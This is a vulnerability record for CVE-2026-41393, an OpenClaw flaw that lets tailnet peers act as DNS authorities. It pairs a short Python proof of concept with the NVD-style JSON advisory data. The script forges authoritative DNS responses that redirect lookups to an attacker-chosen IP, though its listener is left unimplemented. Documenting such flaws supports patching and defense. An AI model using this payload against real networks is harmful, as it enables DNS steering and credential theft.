CVE-2026-41393

# Proof of Concept for CVE-2026-41393 # This script simulates a malicious peer in the tailnet claiming DNS authority. # Note: This requires being in the same tailnet and a CA-trusted endpoint. import socket import struct def craft_dns_response(transaction_id, query_name): """ Crafts a malicious DNS response claiming authority for the queried domain. """ # DNS Header flags = 0x8400 # Response, Authoritative questions = 1 answer_rrs = 1 authority_rrs = 0 additional_rrs = 0 header = struct.pack("!HHHHHH", transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Question Section (Echoing the query) question_parts = query_name.split('.') question_body = b''.join([bytes([len(part)]) + part.encode() for part in question_parts]) + b'\x00' question_type = struct.pack("!H", 1) # Type A question_class = struct.pack("!H", 1) # Class IN question = question_body + question_type + question_class # Answer Section (Malicious redirection) name = struct.pack("!H", 0xC00C) # Pointer to query name type_a = struct.pack("!H", 1) class_in = struct.pack("!H", 1) ttl = struct.pack("!I", 3600) rdlength = struct.pack("!H", 4) # IPv4 length rdata = socket.inet_aton("6.6.6.6") # Malicious IP answer = name + type_a + class_in + ttl + rdlength + rdata return header + question + answer # Listener loop (simplified) # In a real exploit, this would listen on the OpenClaw discovery port. print("Malicious DNS responder started for CVE-2026-41393...") # print(craft_dns_response(1234, "example.openclaw.internal"))

{"cve": {"id": "CVE-2026-41393", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:42.590", "lastModified": "2026-04-30T20:45:01.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.31 contains a wide-area discovery vulnerability allowing arbitrary tailnet peers to be accepted as DNS authorities. Attackers with same-tailnet position and CA-trusted endpoint access can exfiltrate operator credentials through DNS steering manipulation."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.31", "matchCriteriaId": "35B1FB5C-EA5A-4095-9226-F947A9B3B984"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/a23c33a681f8c1b22dc793995acc4c5c4b568346", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-q9w8-cf67-r238", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-arbitrary-dns-authority-acceptance-and-credential-exfiltration-via-wide-area-discovery", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}